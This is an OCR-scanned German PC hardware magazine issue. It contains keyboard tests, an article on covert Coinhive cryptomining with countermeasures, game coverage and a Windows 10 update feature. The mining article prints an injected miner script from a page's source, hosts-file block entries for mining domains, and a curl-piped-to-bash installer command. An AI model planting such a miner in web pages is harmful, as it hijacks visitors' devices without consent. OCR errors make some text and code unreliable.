Effekte 


Einfache Beleuchtungsprogrammierung per 
Fn + doppelt belegter Tasten/8 vorgegebene 
Effekte, Geschwindigkeitsregelung, 2 individu- 
elle Beleuchtungsprofile, je ein Beleuchtungs- 
modus pro Profil 


Keine Beleuchtungsprogrammierung per 
Software/doppelt belegter Tasten/lediglich 

zwei Effekte (Breath und Pulse) mit vierstufiger 
Geschwindigkeitsregelung 


Keine Beleuchtugsprogrammierung vorhanden/ 
keine Effkte vorhanden 


Sehr einfache Beleuchtungsprogrammierung 
per Fn + doppelt belegter Tasten/12 vorgege- 
bene Effekte, 6 Modifikatoren, 5 individuelle 
Beleuchtungsprofile 


Frei programmierbare Makros 


Ja (inklusive Speicher und Direktaufzeichnung 
ohne Software) 


Nein 


Ja (zeitverzógert, inklusive Speicher) 


Nein 


Office-/Spiele-Tauglichkeit 


Gut bis sehr gut/gut bis sehr gut 


FAZIT 


Q Software-freie RGB-Beleuchtung 
© Profilverwaltung/Makros ohne Software 
© Keine Handballenablage 


Wertung: 1,55 


www.pcgameshardware.de 


Sehr gut/gut 


© Ergonomie dank mod. Handballenablage 
© Leise MX-Silent-Schalter/kein „Pingen” 
© Wenig Ausstattung/keine Makrofunktion 


Wertung: 1,59 


Gut/sehr gut 


© Drahltlose Tastatur (2,4 GHz/Bluetooth) 
© Handballenablage/Multimedia-Tasten 
© Keine Tastenbeleuchtung 


Wertung: 1,67 
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Gut bis sehr/gut 


© Einzeltastenbeleuchtung ohne Software 
© Preis-Leistungs-Verhältnis 
© keine Win-Tastensperre/Makrofunktion 


Wertung: 1,72 
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Coin-Miner wider Willen 


Kryptowährungen haben in letzter Zeit nicht nur auf dem finanziellen Parkett immer mehr an Einfluss 


gewonnen, sondern wirken mittlerweile auch auf normale Nutzer im Netz — ohne dass sie es wissen. 


ryptowährungen sind im 
Kia. angekommen, das 
zeigte uns vor ein paar Monaten 
der Hardware-Run der Miner auf 
Mittelklasse-Grafikkarten in aller 
Welt. Die Folge war neben einer 
Verknappung aller möglichen GPU- 
Architekturen auch noch übertrie- 
bene Preise für die letzten Exem- 
plare in den Regalen der Händler. 
Jeder wollte plötzlich mit seiner 
Rechenleistung die Blockchain ge- 
gen Manipulation absichern und 
sich dabei eine goldene Nase mit 
den dadurch geschürften Coins 
verdienen. Jetzt hat sich der Markt 
für Grafikkarten mittlerweile zwar 
wieder etwas beruhigt, aber schon 
gibt es neue unangenehme Nach- 
richten aus der Kryptoecke: Viele 
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Webseiten missbrauchen die Hard- 
ware der Besucher zum Mining 
im Hintergund. Ermöglicht durch 
ein spezielles Mining-Skript des 
Dienstleisters Coinhive.com (coin- 
hive.com). Kann man sich dagegen 
überhaupt schützen? Ja! PC Games 
Hardware klärt auf. 


Was ist überhaupt Coin Hive? 
Reden wir mal Tacheles: Werbung 
im Internet ist nervig. Vor Allem, 
wenn sie aufdringlich und sichtbar 
ist, aber - und das vergessen an- 
scheinend sehr viele surfende Nut- 
zer - sie ist zwingend notwendig. 
Keiner verschenkt seine Arbeit und 
der kostenlos erscheinende Inhalt 
muss sich finanziell für den Erstel- 
ler irgendwie lohnen - sonst macht 


es keinen Sinn, Zeit, Herzblut und 
Schweiß zu investieren. Die Idee 
hinter Coin Hive ist deshalb geni- 
al und erfrischend zugleich: Be- 
sucher einer Webseite geben, so- 
lange sie die Seite besuchen, ihre 
Rechenleistung zum Schürfen von 
Coins der Kryptowáhrung Monero 
(ХМК) für den Seitenbesitzer frei. 
Dafür gibt es ein werbefreies An- 
gebot ohne Banner, ohne Pop-Ups 
und ohne plótzlich startende und 
viel zu laute Werbevideos. 


Die Macher von Coin Hive haben 
aber noch andere Anwendungsbei- 
spiele, für die man ihren Service 
beziehungsweise ihr Java-Skript 
nutzen kann. Bei Free2Play-Titeln 
könnte man so die übertrieben in 


die Länge gezogegenen Wartezei- 
ten für einen Ingame-Fortschritt 
„bezahlen“ oder man macht sich 
den Proof of Work, der beim Mi- 
ning verwendet wird, zunutze und 
verifiziert so à la Captchaeingabe 
beispielsweise ein Kontaktformu- 
lar - Spamschutz inklusive. Coin 
Hive soll also ein neues Finanzie- 
rungsmodell im Micropayment- 
Sektor wie Patreon oder Flattr 
darstellen und nicht unbedingt 
ein Skript, dass die PC-Leistung 
kidnappt und Geld für Kriminelle 
generiert. Natürlich muss man für 
diesen Service eine Gebühr berap- 
pen, beziehungsweise die Miner 
wider Willen müssen diese Zeche 
zahlen: 30 Prozent der geschürften 
XMR-Coins gehen an Coin Hive, die 
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restlichen 70 Prozent streicht der 
Besitzer der Webseite ein. 


Die Problematik dahinter 
Im Grund hort sich die Idee, die 
hinter Coin Hive steht, eigentlich 
ganz gut an: Keine aufdringli- 
che Werbung mehr, nicht mehr 
den Cooldown im Lieblings-Free- 
2PlaySpiel abwarten oder seinen 
Content von Fans mittels Mining 
finanzieren lassen. In Zeiten von 
Youtubes Adpokalypse, Adblocker 
und sterbenden Medien sicherlich 
interessant. Aber auch hier liegt 
der Teufel wieder im Detail oder 
besser gesagt bei den Seitenbetrei- 
bern. Denn Internetseiten, die sich 
dieses Finanzierungsmodell zu- 
nutze machen, geben in der Regel 
darüber keinerlei 
an den Besucher heraus, sondern 
zwingen ihnen das Mining-Skript 
einfach still und heimlich auf. 


Informationen 


Das Verbreiten solch eines Mining- 
Skriptes ist nicht unbedingt illegal, 
sofern man eben seine Nutzer über 
diesen Umstand aufklärt. The Pira- 
te Bay hat im September solch ein 
Mining-Skript zur Querfinanzie- 
rung ausprobiert, die Nutzer des 
Portals darüber aber nicht aufge- 
klärt und diese unwissentlich zu 
Minern „rekrutiert“. Coin Hive sel- 
ber móchte, dass der Seitenbetrei- 
ber seine Besucher dahingehend 
informiert, ob und wie stark die 
CPU des Besuchers beansprucht 
wird und geht mittlerweile auch 
gegen unlautere Verwendung des 
eigenen Skripts vor. 


Laut der BBC ist vielen Seiten-Ad- 
mins aber gar nicht bewusst, dass 
der Code im Hintergrund der eige- 
nen Seite läuft, denn in den letzten 
Wochen scheinen Hacker zahlrei- 
che Webseiten mit dem Skript in- 
fiziert zu haben. Darunter waren 
auch serióse Seiten wie Showtime 
(US-Kabelfernsehen) oder 
malaysische — Versicherungsfirma. 
Stimmt die Masse an infizierten Sei- 


eine 


ten und die daraus resultierenden 
Besucherzahlen erst einmal, kann 
so für den Hacker ein ordentliches 
Sümmchen dabei herausspringen. 
Umgerechent kann man mit circa 
einer Millionen Besuchern pro Mo- 
nat rund 100 Euro generieren. 


Ein weiterer äußerst problemati- 


scher Punkt ist, dass besonders die 
Akkulaufzeit von Mobiltelefonen 
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und Laptops durch die aufwendi- 
gen CPU-Operationen drastisch 
verringert wird. Wenn in Zukunft 
Hintergrund-Schürfen als legitimes 
Mittel der Finanzierung von Inhal- 
ten im Internet gesehen werden 
soll, benötigt es immer noch die 
Möglichkeit, zur klassischen Wer- 
bung mit Bannern und Pop-Ups 
wechseln zu können, dem Akku 
zuliebe. 


Coins und die Cloud 
„Ilegales“ Coin-Mining ist aber 
nicht nur ein Problem von gehack- 
ten Internetseiten, sondern überall 
zu finden. Die GTA-5-Mod „FiveM“ 
hat beispielsweise Anfang Oktober 
ein Update veröffentlicht, das Leu- 
te daran hindert, weiterhin Miner 
in den Programmcode zu imple- 
mentieren. Bei Cloud-Computing- 
Services sieht das etwas drastischer 
aus: Werden hier Accounts gehackt 
und zum Mining missbraucht, kann 
Schaden angerichtet 
werden. Die Eindringlinge nutzen 
einfach eine Vielzahl von Servern, 
um die entsprechende Leistung 
aufzubringen, und hinterlassen die 
gehackten Accounts mit immensen 
Rechnungen. An der Universität zu 
Illinois entwickelt man sogar schon 
Überwachungs-Applikationen, die 
bei Cloud-Diensten auf die verrä- 
terischen CPU-Auslastungen beim 
Schürfen von Kryptowährungen 
achten. 


enormer 


Gegenmaßnahmen: 

Schütze dich, mach's mit 
Der ein oder andere mag argumen- 
tieren, dass die Idee hinter Coin 
Hive vor lästiger Werbung schützt 
und die aufgebrachte Rechenleis- 
tung auf besagten Internetseiten 
auch nur während des Aufenthalts 
benutzt wird. Das ist zwar faktisch 
richtig, aber viele wird es sicherlich 
stören, dass dies ohne Zustimmung 
des PC-Besitzers abläuft und man 
sich deshalb dagegen schützen 
muss. PC Games Hardware stellt 
Ihnen mehrere Möglichkeiten vor, 
wie Sie Ihren Computer vor illega- 
len Schürfoperationen schützen. 


Die browserweite Lösung 

Wenn Sie eine Lösung nur für ei- 
nen Browser benötigen, können 
Sie das Problem illegaler Schürfak- 
tionen auch direkt im Programm 
angehen. Dafür gibt es bereits 
eine Fülle an Plug-Ins und Erwei- 
terungen und Sie müssen hierfür 


Q coinhive 


documentation login signup 
A Crypto Miner (Б) START MINING 
for your Website 


Monetize Your Business With Your Users' CPU Power 


INTEGRATE COINHIVE ON YOUR WEBSITE 


(® Spam Protection e Link Forwarding 


Rate limit actions on your site Monetize shortlinks to your content 


@ Ad-Free Content 


Run your site without ads 


& In-Game Money 


Offer rewards in your online games 


Das Coin-Hive-Skript erlaubt das Schürfen der Kryptowährung Monero im Hinter- 
grund während eines Website-Besuches — eigentlich genial gegen nervige Werbung. 


n; 
2 
window.addEvent("domready", Mediabox.scanPage); 
//--><1]]> 
</script> 


|er|«script type-"text/javascript" src-"templates/js/winfixes,js" »«/script» 


<seript srce"https: ГГ hive.con/lib/Eolinhive min js"> </script> 

€script» 

| var miner = new COlnHive.User('TbGigYXdAZcQEJFZZvLeli2PACkIéBdP, 'WSP', ( 
throttle: 0.8 

H; 

miner.start(); 

</script> 


</head> 
<body id="top"> 
<div id="wrapper"> 
<a hrefz"/" alt="Zur Startseite" title="Zur Startseite"><div id="heading”> 
<!-- indexer::stop --> 


«div class-"mod_randomimage block" id-"NoBorder"> 


So sieht das Skript im Seitenquelltext aus: Sieben Zeilen Code, die versteckt im 
Hintergrund agieren und damit Webnutzer erzürnen. 


NoScript 5.1.2 Res) 


Von Giorgio Maone 


Zusätzlicher Schutz für Ihren Browser: NoScri 
anderen Plug-ins) nur bei vertrauenswürdigel 
Website). Der auf einer Positivliste basierend 
verhindert das Ausnutzen von (bekannten un 
Funktionalität. 


Zusätzlicher Schutz für Ihren Browser: NoScri 
anderen Plugins) nur bei vertrauenswürdige 

Website). Der auf einer Positivliste basierend 
verhindert das Ausnutzen von (bekannten un 
Funktionalität. 


Mit dem Firefox-Add-On Noscript können Sie sich nicht nur vor schadhaften Java- 
Skripten schützen, sondern auch vor Flash oder Silverlight. 
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Über NoScript 5.1.2. 


m Februar 2012 


Hier hat Noscript bereits Coin Hive ausgesperrt und es kommt deshalb zu keinem 
Schürfen im Hintergrund. 


J hoss - Editor 


Datei Bearbeiten Format Ansicht ? 
# Copyright (c) 1993-2809 Microsoft Corp. 


This is a sample HOSTS file used by Microsoft TCP/IP for Windows. 


This file contains the mappings of IP addresses to host names. Each 
entry should be kept on an individual line. The IP address should 

be placed in the first column followed by the corresponding host name. 
The IP address and the host nane should be separated by at least one 
space. 


Additionally, comments (such as these) may be inserted on individual 
lines or following the machine name denoted by a '#' symbol. 


For example: 


102.54.94.97 
38.25.63.10 


rhino.acne.com 
x.acne.com 


$ source server 
# x client host 


dodmodi dod xod ode d dod ode ood od 


localhost name resolution is handled within DNS itself. 
127.0.0.1 localhost 
2% localhost 


127.0.0.1 coinhive.com 
127.0.0.1 coin-hive.com 


Eine rechnerweite Lösung bietet die Hosts-Datei in Windows, die durch Hinzufügen 
der beiden URLs eine Verbindung mit selbigen untersagt. 


PI-HOLE®: ABLACK HOLE FOR INTERNET 


ADVERTISEMENTS 


curl -sSL hiltps//install.pi-hole.net | bash 


Donate Blog Help ~ Shop About Log in with Discourse 


HOME 


Network-wide ad blocking via your own 
Linux hardware 


No client-side software required 


Wer gänzlich auf Werbung in App, Browsern, Youtube oder sonst wo verzichten möch- 
te, kauft sich einen Raspberry Pi und installiert Pi-Hole. 
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einfach in der Plug-In- beziehungs- 
Add-On-Bibliothek Ihres 
Browsers nach einem Skriptblo- 
cker suchen. Für Firefox empfiehlt 
sich das Add-On Noscript und 
für Chrome Safescript. Diese bei- 
den Plug-Ins verhindern das Java- 
Skripte fremder Seiten ausgeführt 
werden. Da das Coin-Hive-Skript 
auch in Java geschrieben wurde, 
wäre Ihr Browser mit dem Plug-In 
nun abgesichert. Es gibt mittler- 
weile auch schon ein auf diesen 
Missstand spezialisiertes Browser- 
Plug-In: Nocoin. Dieses Add-on 
funktioniert über eine Blacklist für 
Schürf-Dienstleister wie Coin Hive. 
Vor Allem für Tablets, Handys oder 
Laptops lohnt sich also diese Her- 
angehensweise. 


weise 


Die rechnerweite Lösung 
Sollten Sie aber mehrere Brow- 
ser auf Ihrem Rechner nutzen, 
macht es wenig Sinn jeweils einen 
Skriptblocker nachzuinstallieren. 
Stattdessen können Sie über einen 
Eintrag in die Hosts-Datei dem 
gesamten Rechner die Kommuni- 
kation mit Coin Hive verbieten, so- 
dass kein Mining-Skript im Hinter- 
grund mehr nach Coins schürfen 
kann. Dazu müssen Sie unter С; | 
Windows |System32\drivers|etc 
die Datei „hosts“ mit Adminrech- 
ten im Texteditor öffnen. Tragen 
Sie nun die IP 127.0.0.1 für den 
Rechner ein und die zu blocken- 
de Seite, in unserem Fall natürlich 
Coin Hive. Sobald Sie die Datei 
abgespeichert haben, gelten die- 
se neuen Regeln PC-weit. Wenn 
Sie diesen Lösungsweg nehmen, 
benötigen Sie natürlich keinen 
Skriptblocker für ihren Browser. 
Bedenken Sie aber, dass sich ein 
Plug-In wie NoScript dennoch 
lohnt, da im Web viel Java-Schad- 
code zugegen ist. 


Wenn Ihr Browser nun eine Ver- 
bindung zu Coin Hive aufbauen 
möchte, muss er zuerst bei Win- 
dows nach der IP fragen. Bevor das 
Betriebssystem aber die IP über 
einen DNS-Server bezieht, wird in 
der Hosts-Datei nachgeschaut. Die 
dort hinterlegte IP verweist aber 
nicht auf das Mining-Skript von 
Coin Hive, sondern leitet die Anfra- 
ge direkt auf den eigenen Rechner 
um, weshalb im Browser keine ille- 
gale Schürfaktion stattfinden kann. 
Sie können diese Datei übrigens 
mit allen Domains füttern, die Sie 


nicht auf diesem einen Rechner 
sehen möchten - ideal für den Ju- 
gendschutz also. 


Die netzwerkweite Lösung 
Wie schafft man es aber, alle Gerä- 
te ohne ständiges Verändern der 
Hosts-Datei zu sichern? Indem man 
das gesamte Netzwerk abschottet. 
Hierfür empfiehlt sich Jacob Sal- 
melas „Pi-Hole“, das nicht nur un- 
erwünschte Domains oder Mining- 
Skripte herausfiltert, sondern auch 
jegliche Art der Werbung - ein 
schwarzes Loch quasi. Der hier be- 
triebene Aufwand ist zwar etwas 
größer als bei den bisher dargeleg- 
ten Lösungsansätzen, im Umkehr- 
schluss haben Sie davon aber deut- 
lich mehr und alle angeschlossenen 
Geräte im Netzwerk sind sofort ab- 
gedeckt. Für die Umsetzung benöti- 
gen Sie zunächst einen Raspberry Pi 
Version 3, den Sie im Komplettpaket 
mit Hülle, Netzteil und SD-Karte für 
rund 50-70 Euro bekommen. 


Nachdem Sie sich die Hardware für 
Ihre eigene Internet-Werbeaufsicht 
beim Händler Ihres Vertrauens be- 
sorgt haben, führen Sie zunächst 
eine Linux-Basisinstallation durch 
und spielen danach Pi-Hole auf. In- 
formationen hierzu finden Sie un- 
ter raspberrypi.org und pi-hole.net. 
Pi-Hole macht sich das Prinzip der 
DNS-Server zunutze und verfügt 
im Moment über 100.000 werbe- 
relevante Domains. Wird nun in ei- 
ner App, bei einem Smart-TV oder 
klassisch im Browser versucht, die 
Werbung nachzuladen, gleicht Pi- 
Hole die Anfrage mit der eigenen 
Datenbank ab und unterdrückt das 
Laden der Reklame bei einem er- 
folgreichen Treffer. 


Wie Sie sich auch gegen Hinter- 
grundmining im Browser schüt- 
zen, aufdringliche Werbung kann 
man es nicht nennen. (ab) 


Fazit Нагйшаге 


Das Problem sind die Nutzer 

Keiner mag Werbung im Internet, kei- 
ner ist bereit für Content zu bezahlen. 
Wie kommen Ersteller an eine adáqua- 
te Aufwandsentschädigung? Coin Hive 
gibt neben Patreon, Werbebannern 
und Pop-ups eine erfrischende und hu- 
mane Alternative, um Inhalte im Inter- 
net zu finanzieren. Schade, dass Leute 
diese Idee bereits schamlos ausnutzen. 
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Spiele & Software 


Raffael Vótter 
Fachbereich Retro 
E-Mail: rv@pcgh.de 


Kommentar 


Zeitreise in die Kindheit, oder: Nicht al- 
les, was früher toll war, ist gut gealtert. 


Wir bei der PC Games Hardware sind zwar alle 
mehr oder minder Nerds, aber nur selten kommt 
es vor, dass so viele Leute einer Meinung sind. 
Bei der Frage „SNES Classic Mini: Haben oder 
nicht haben?" war die Lage eindeutig, viele 
Kollegen haben zugeschlagen. Darunter auch 
ich — zu einem Aufpreis gegenüber der UVP, 
weil das geschrumpfte SNES immer in jenen 
zehn Minuten vorbestellbar war, wenn ich mal 
dem Real Life frönte. Doch die eigenartige 
Strategie Nintendos soll nicht das Thema sein, 
sondern der Retro-Trip mithilfe des SNES Mini. 
Was mich angeht, steckt ein großer Teil meiner 
Kindheit in dieser Konsole, vor rund 25 Jahren 
begann alles mit Super Mario Kart, Zelda ALttP, 
Street Fighter 2 Turbo & Co. Interessant ist, wie 
gut viele der Klassiker gealtert sind. Vor allem 
Yoshi's Island sieht dank des gemalten Gra- 
fikstils noch immer zauberhaft aus. Die ersten 
3D-Ausflüge hingegen ... brrr. Starwing alias 
Starfox und ebenso dessen Nachfolger zeigen 
grobpixelige Objekte — und ruckeln auch noch! 
Damals ,SuperFX", heute abstofend. Dann 
doch lieber zeitlose 2D-Grafik. 


Hersteller 
Electronic Arts 


Platz Titel 
FIFA 18 
Die Sims 4 Electronic Arts 
Total War: Warhammer 2 (LE) Sega 
Mittelerde: Schatten des Krieges Warner Bros. 
Grand Theft Auto 5 
Guild Wars 2: Expansion 2 


Rockstar Games 
Arenanet 
Landwirtschafts-Simulator 17 Focus Home Interact 
ME: Schatten des Krieges (Gold) Warner Bros. 
Bandai Namco 


Blizzard 


Project Cars 2 
Overwatch GOTY-Edition 
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* Quelle: Saturn, Top 20 vom 


hardware.de/spiele 


Schatten des Krieges 


Der zweite Teil der Mittelerde-Reihe setzt auf alte 
Stárken, wurde aber gleichzeitig modernisiert und 
nutzt nun die weiterentwickelte Firebird-Engine. 


ittelerde: Schatten des Krieges ist eine kon- 
MT Weiterentwicklung des Уограп- 
gers: Eine größere, offenere Welt, verbesserte 
und weiter ausgebaute Gameplay-Mechaniken, 
dazu eine deutlich weiter entwickelte Technik, 
die außerdem auf große Schlachten zwischen 
mehreren Armeen optimiert wurde. 


Optisch kann sich Schatten des Krieges sehen 
lassen - vor allem die hübsche Beleuchtung, die 
volumetrischen Effekte sowie die hohe Weit- 
sicht bieten grafisch wesentlich mehr Zucker 
für die Augen, als es noch der Vorgänger tat. 
Außerdem wurde das Shadermodell mit einem 
physikbasierten Renderansatz versehen, viele 
Oberflächen erhalten zudem durch Parallax- 
Occlusion-Mapping an Tiefe, einige Bodentex- 
turen sowie Objekte erhalten durch Tessellation 
zusätzliche Details. Eine offenbar vorberechnete 
Globale Beleuchtung sorgt für glaubhafte Licht- 
übergänge, allerdings gibt es pro Umgebung nur 
maximal eine Handvoll wechselnder Beleuch- 
tungsszenarien. Für die PC-Version können zu- 
sätzlich optionale „HD-Inhalte“ heruntergeladen 
werden, neben rund 30 GiByte UHD-Zwischen- 


sequenzen steht außerdem ein HD-Texturpaket 
zur Verfügung. Es verbessert die optische Dar- 
bietung allerdings nur sehr beschränkt und 
lässt den Speicherhunger des Spiels explodie- 
ren - ohne zumindest 6 GiByte Grafikspeicher 
kommt wenig Freude auf. Ohne die optionalen 
Texturen begnügt sich Schatten des Krieges mit 
3 GiByte Speicher, optimal sind vier. Mit hohen 
Details lässt sich Mittelerde: Schatten des Krie- 
ges bereits mit einer flotten Mittelklasse-GPU 
wie einer Radeon RX 470 oder einer etwas be- 
tagteren Geforce GTX 970 flüssig spielen, in Full 
HD liegen die Bildraten so zumeist zwischen 50 
und 70 Fps. Der Prozessor wird nur mäßig gefor- 
dert, ein Ryzen-Vierkerner oder ein Core i5 mit 
rund 3,0 GHz ist mehr als ausreichend. (pr) 


Mittelerde: Schatten des Krieges 


FAZIT: Schatten des Krieges ist technisch deutlich reifer als 
der Vorgänger, kann allerdings nicht ganz mit aktuellen Grafik- 
krachern mithalten. Die Performance ist gut, sofern Sie auf die 
speicherfressenden HD-Texturen und eventuell einige Details 
wie die maximale Schattenqualität verzichten. 


Genre: Action-Adventure | Web: https://www.shadowof- 
war.com/de/ | Technik: Firebird-Engine; Direct X 11, 

x64 | Empfohlener PC: Core i5-6500/AMD Ryzen 3 1200, 
Geforce GTX 1060, Radeon RX 480, 8 Gigabyte RAM 
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Kreativer Herbst 


Das zweite Update des Jahres für Windows ist da — das Fall Creators Update — und hat einiges Neues 


an Bord: gemischte Realitàten, eine neue Designsprache, Hackerschutz und sogar Linux. 


twa 500 Millionen Endgeräte 

können ab dem 17. Oktober die 
Erneuerungen von Windows 10 
laden, das „Windows Fall Creators 
Update“ (WFCU) ist nach der neu- 
en halbjährlichen Update-Routine 
von Microsofts Betriebssystem die 
zweite große und auch für dieses 
Jahr letzte Aktualisierung. Ge- 
nau wie beim vorherigen Update 
richtet man sich an die kreativen 
Köpfe und Content-Erschaffer am 
Bildschirm. Aber Microsoft führt 
mit „Redstone 3“ - so der offizielle 
Codename - auch neue Dimensio- 
nen der Realität ein: Mixed Reality 
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ist hier das Stichwort. Darüber hi- 
naus haben die Redmonder Soft- 
wareentwickler aber noch einiges 
zu bieten, darunter eine neue De- 
sign-Philosophie, 4K und HDR für 
Geforce-Karten und sogar einen 
verbesserten Datenschutz. 


Fluent Design: Panta rhei 

Microsoft hatte bereits im April-Up- 
date ordentlich an der Darstellung 
und der Designschraube in Win- 
dows 10 gedreht - Themes wieder 
eingeführt und das Startmenü ver- 
ändert - um so ein einheitliche- 
res Gesamtpaket abzuliefern. Die 


Herbstaktualisierung führt diesen 
Trend konsequent fort und führt 
das sogenannte Fluent Design in 
das Erscheinungsbild des Betriebs- 
systems ein. Die neue Designspra- 
che wird über fünf Grundaspekte 
realisiert: Licht, Material, Tiefe, Be- 
wegung und Skalierung. 


Die als „Einblendungen“ bezeich- 
neten Lichteffekte sollen dem 
Nutzer ein besseres Verständnis 
für interaktive Elemente in der Be- 
nutzeroberfläche geben. Bewegt 
sich beispielsweise der Mauszeiger 
über eine interaktive Fläche, wird 


ein Lichthof um das Element einge- 
blendet. Physikalische Eigenschaf- 
ten des Materials werden in der 
neuen Designsprache zum Beispiel 
über die Oberfläche „Acryl“ darge- 
stellt, die tatsächlich an Acryl- be- 
ziehungsweise Milchglas erinnert. 
Damit lässt sich Tiefe und eine vi- 
suelle Hierarchie innerhalb eines 
Fensters aufbauen, beispielsweise 
wenn man eine In-App-Navigation 
anwählt. Mit verbundenen Anima- 
tionen und einem Parallax-Effekt 
lassen sich nicht nur Bewegungen 
in die Oberfläche integrieren, son- 
dern auch Tiefe und Perspektive. 


www.pcgameshardware.de 


Bild: Pixabay 


Windows Fall Creators Update | SPIELE & SOFTWARE 


Windows 10 möchte mit Bewe- 
gung den Nutzern bei der Bedie- 
nung helfen, indem Analogien mit 
bereits vertrauten Aufgaben herge- 
stellt werden sollen. 


Die Krux der Vernetzung: 
Datenschutz 

Die seit Veröffentlichung von 
Windows 10 schon von etlichen 
Verbraucherschutzorganisationen 
und -zentralen gerügten Software- 
Entwickler aus Redmond, haben 
den Datenschutz der Nutzer im Fall 
Creators Update gestärkt. So hat 
der Konzern vor Kurzem freiwillig 
eine strafbewehrte Unterlassungs- 
erklärung unterzeichnet, die einen 
Zwangsdownload von Installations- 
dateien kommender Betriebsyste- 
me untersagt. Microsoft war 2015 
in die Kritik geraten, als ältere Win- 
dows-Versionen ungefragt bis zu 
sechs GByte an Daten herunterlu- 
den, um das Windows 10 Upgrade 
durchführen zu können. 


Auch das unabhängige Beratungs- 
gremium der Europäischen Union, 
die Artikel-29-Datenschutzgruppe, 
hat das Creators Update noch als 
unzureichend eingestuft und war 
besorgt über das Schutzniveau 
persönlicher Daten. Den Beden- 
ken kommt der Konzern nun nach, 
indem die Datenschutzerklärung 
schon bei der Installation erscheint 
und bei der Geräteeinrichtung kön- 
nen weiterführende Informationen 
eingesehen werden und Unterneh- 
menskunden können die Teleme- 
triedaten zukünftig einschränken. 
Darüber hinaus bekommt der Nut- 
zer bereits bei der Installation von 
Apps Informationen zu deren Zu- 
griffsrechten präsentiert und eine 
Abfrage findet in Zukunft nicht nur 
beim Standort, sondern auch bei 
Mikrofon-, Kamera- oder beispiels- 
weise der Kalendernutzung an. 


Netflix kann jetzt auch UHD 
und HDR mit Nvidia-Karten 
Endlich können Besitzer 
Pascal-Karten in den Genuss von 
UHD-Auflösungen und High-Dyna- 
mic-Range bei ausgewählter Netf- 
lix-Kost kommen. Bisher ging das 
nur mit dem Spezialtreiber 381.74, 
ab dem 17. Oktober wird das dann 
auch mit aktuellen Game-Ready- 
Treibern möglich sein. Vorausset- 
zung ist natürlich ein Premium-Abo 
beim Dienstleister und ein UHD- 
und HDR-fähiges Ausgabegerät, das 


von 
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an einem HDMI-2.0-Anschluss oder 
einem Displayport 1.4 mit HDCP 
2.2 angeschlossen ist. Laut Nvidia 
muss die verwendete Geforce-GPU 
aus der GTX-10-Serie stammen und 
über mindestens 3 GiByte RAM 
verfügen (= GTX 1060/3G). Neben 
diesen Punkten muss man noch 
über eine Internetleitung mit min- 
destens 25 MBit/s verfügen, damit 
Netflix automatisch in den UHD- 
Modus mit HDR wechselt. 


Aktuelle AMD-Karten mit Polaris- 
Architektur können zwar mit 
h.265-kodierten Inhalten und 
10-Bit-Farbtiefe umgehen, verfügen 
aber über keinen entsprechenden 
Treiber. Mit der integrierten Grafik 
bei Intels Kaby- oder Apollo-Lake- 
CPUs kann man jedoch Netflix in 
UHD und HDR schauen. 


Vermischte Wirklichkeiten 
Schon mit der letzten halbjährli- 
chen Aktualisierung, dem Creators 
Update, hat Microsoft einen Mixed- 
Reality-Reiter in das Betriebssys- 
tem eingeführt. Das Herbst-Update 
bringt einen größeren Funktions- 
umfang des Mixed-Reality-Portals 
in Windows 10, denn gleichzeitig 
zur Veröffentlichung des WFCU 
wird eine Vielzahl von Herstellern 
(Acer, HP, Samsung, Lenovo, Asus) 
kompatible Brillen auf den Markt 
bringen. Laut Microsoft handelt 
es sich bei Mixed Reality um eine 
Kombination aus Computerverar- 
beitung, menschlicher Interaktion 
und der realen Umgebung. Erreicht 
wird dies beispielsweise durch Ob- 
jekterkennung, Umgebungsscans 
und  Personentracking. Mixed 
Reality wird also ,klassische* VR- 
Anwendungen, aber auch erwei- 
terte Realitäten (engl. Augmented 
Reality; AR) umfassen. Sobald die 
Headsets erschienen sind, wird sie 
PCGH natürlich testen. 


Smartphone-Kopplung 

Endlich ist es ohne Probleme, 
Workarounds oder Fremdsoftware 
möglich, seinen Rechner mit dem 
Smartphone zu koppeln. Dazu kann 
man ganz einfach im neuen Reiter 
„Handy“ in den Systemeinstellun- 
gen von Windows 10 sein Andro- 
id- oder Apple-Telefon mit dem 
Windows-Rechner verbinden. Das 
Ganze funktioniert über das per- 
sönliche Microsoft-Konto, das auf 
beiden Geräten aktiviert sein muss. 
Zunächst erhält man nach Eingabe 


Die neue Oberfläche , Acryl" lässt diffus Licht durch und wirkt wie ein Weichzeichner. 
Damit kann man beispielsweise die In-App-Navigation von anderen Bereichen im 
gleichen Fenster voneinander abheben und gleichzeitig Tiefe erzeugen. 


Das sind die neuen Mixed-Reality-Brillen verschiedener Hersteller (Lenovo, Dell, Acer, 
HP, Samsung und Asus), die am 17. Oktober erschienen sind. 
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Wenn Se die Verknüpfung mit diesem PC zaten, kann er keine vom Smartphone gesendeten Aufgaben und Dokumente mehr empfangen. 


[? Wikipedia - Die freie Enzyklopädie 


In den Systemeinstellungen finden Sie unter dem Reiter , Handy" die Möglichkeit, Ihr 
Telefon mit Windows 10 zu koppeln. Bisher kann man Internetseiten zwischen den 
Geräten teilen, später werden noch weitere Features implementiert. 
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Startseite 


Exploit-Schutz 


mieren S 


Viren- & Bedrohungsschutz 
Geräteleistung & -ntegrität 


Systemeinstellungen Prog 


Firewall- & Netzwerkschutz 


Ablaufsteuerungsschutz (Control Flow Gu: 


App- & Browsersteuerung E Auf 
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fomilienoptionen Standardmäßig aktiviert 


Datenausführungsverhinderung (Data Execution 
Verhinde € p seiten ausgeführt wird. 


Standardmäßig aktiviert 


Zufällige Anordnung für Images erzwingen (obligatorische ASLR) 
Verschiebung wc ‚zwingen, die nicht mit /DYNAMICBASE кс 


Standardmäßig deaktiviert 


Speicherbelegungen zufällig anordnen (Bottom-up-ASLR) 


elegangen von virtuellem Speicher zuflibg w 


хале Positionen für 


Standardmäfig aktiviert 


Ausnahmeketten überprüfen (SEHOP) 


Stellt die Integrität ener Ausnahmekette während der Verteilu 


Standardmäßig aktiviert 
Heapintegrität überprüfen 
Eronder einen Prozess, wenn ei 


Standardmäßig aktiviert 


Einstellungen exportieren 


für Exploit- Schutz für ihre 
e gewünschter 


Prevention, DEP) 


Der in das Defender Security Center eingebaute Exploit-Schutz nutzt maschinelles 


Lernen, Features aus EMET und schützt nun auch vor Ransomware. 
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seiner Telefonnummer eine SMS, 
die einen weiterführenden Link zu 
der benötigten App enthält. Nach 
der Installation auf dem Smartpho- 
ne kann man geräteübergreifend 
surfen. Dazu muss man einfach 
über die Teilen-Funktion des Te- 
lefons den Rechner als Ziel aussu- 
chen - kinderleicht. Am Rechner 
erscheint die Website dann im 
Benachrichtigungsbereich der 
Taskleiste unten rechts (und kann 
leider nur mit dem Edge-Browser 
geöffnet werden). 


In Zukunft soll man natürlich nicht 
nur Internetseiten zwischen den 
